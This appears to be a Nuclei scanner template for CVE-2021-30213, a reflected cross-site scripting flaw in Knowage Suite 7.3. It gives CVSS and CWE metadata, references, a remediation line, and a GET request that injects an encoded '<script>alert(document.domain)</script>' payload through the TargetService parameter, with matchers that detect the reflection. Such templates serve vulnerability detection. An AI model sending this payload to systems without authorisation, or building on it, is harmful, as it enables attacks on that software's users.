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id : CVE-2021-30213
info :
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name : Knowage Suite 7.3 - Cross-Site Scripting
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author : alph4byt3
severity : medium
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description : Knowage Suite 7.3 contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can inject arbitrary web script in '/servlet/AdapterHTTP' via the 'targetService' parameter.
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remediation : |
Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in Knowage Suite 7.3.
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reference :
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- https://github.com/piuppi/Proof-of-Concepts/blob/main/Engineering/XSS-KnowageSuite7-3_unauth.md
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- https://nvd.nist.gov/vuln/detail/CVE-2021-30213
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score : 6.1
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cve-id : CVE-2021-30213
cwe-id : CWE-79
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epss-score : 0.001
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epss-percentile : 0.40815
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cpe : cpe:2.3:a:eng:knowage:7.3.0:*:*:*:*:*:*:*
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metadata :
max-request : 1
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vendor : eng
product : knowage
tags : cve,cve2021,xss,knowage
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http :
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- method : GET
path :
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- "{{BaseURL}}/knowage/servlet/AdapterHTTP?Page=LoginPage&NEW_SESSION=TRUE&TargetService=%2Fknowage%2Fservlet%2FAdapterHTTP%3FPage%3DLoginPage%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
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matchers-condition : and
matchers :
- type : word
part : body
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words :
- '</script><script>alert(document.domain)</script>'
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- type : word
part : header
words :
- text/html
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- type : status
status :
- 200
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# digest: 4a0a00473045022100d72b671cb68f6b6f86f3487ae63b61180a1c37e55bc36d1ace83be6ed502076f0220342bad0bd46231fcdd36725c26efb65373a5ba829c34a0fc8b4b964fcf6ea10f:922c64590222798bb761d5b6d8e72950